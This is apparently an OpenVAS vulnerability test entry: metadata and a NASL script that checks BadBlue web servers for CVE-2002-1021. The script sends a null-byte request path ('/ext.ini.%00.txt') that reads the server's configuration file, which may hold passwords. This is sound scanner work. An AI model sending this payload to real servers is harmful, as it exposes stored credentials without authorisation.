BadBlue invalid null byte vulnerability

2005-11-03T00:00:00
ID OPENVAS:136141256231011064
Type openvas
Reporter Copyright (C) 2002 Michel Arboi
Modified 2020-04-14T00:00:00

Description

It was possible to read the content of /EXT.INI (BadBlue configuration file) by sending an invalid GET request.

                                        
                                            # OpenVAS Vulnerability Test
# Description: BadBlue invalid null byte vulnerability
#
# Authors:
# Michel Arboi <arboi@alussinan.org>
# Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
# Erik Anderson <eanders@carmichaelsecurity.com>
# Added BugtraqID and CAN
#
# Copyright:
# Copyright (C) 2002 Michel Arboi
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11064");
  script_version("2020-04-14T14:39:26+0000");
  script_tag(name:"last_modification", value:"2020-04-14 14:39:26 +0000 (Tue, 14 Apr 2020)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_bugtraq_id(5226);
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_cve_id("CVE-2002-1021");
  script_name("BadBlue invalid null byte vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2002 Michel Arboi");
  script_family("Web Servers");
  script_dependencies("gb_badblue_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("badblue/detected");

  script_tag(name:"solution", value:"Upgrade your software or protect it with a filtering reverse proxy.");

  script_tag(name:"summary", value:"It was possible to read the content of /EXT.INI
  (BadBlue configuration file) by sending an invalid GET request.");

  script_tag(name:"impact", value:"An attacker may exploit this vulnerability to steal the passwords.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_banner_unreliable");

  exit(0);
}

CPE = "cpe:/a:working_resources_inc.:badblue";

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if(!port = get_app_port(cpe:CPE))
  exit(0);

if(!get_app_location(port:port, cpe:CPE))
  exit(0);

url = string("/ext.ini.%00.txt");
res = http_is_cgi_installed_ka(item:url, port:port);
if(res) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);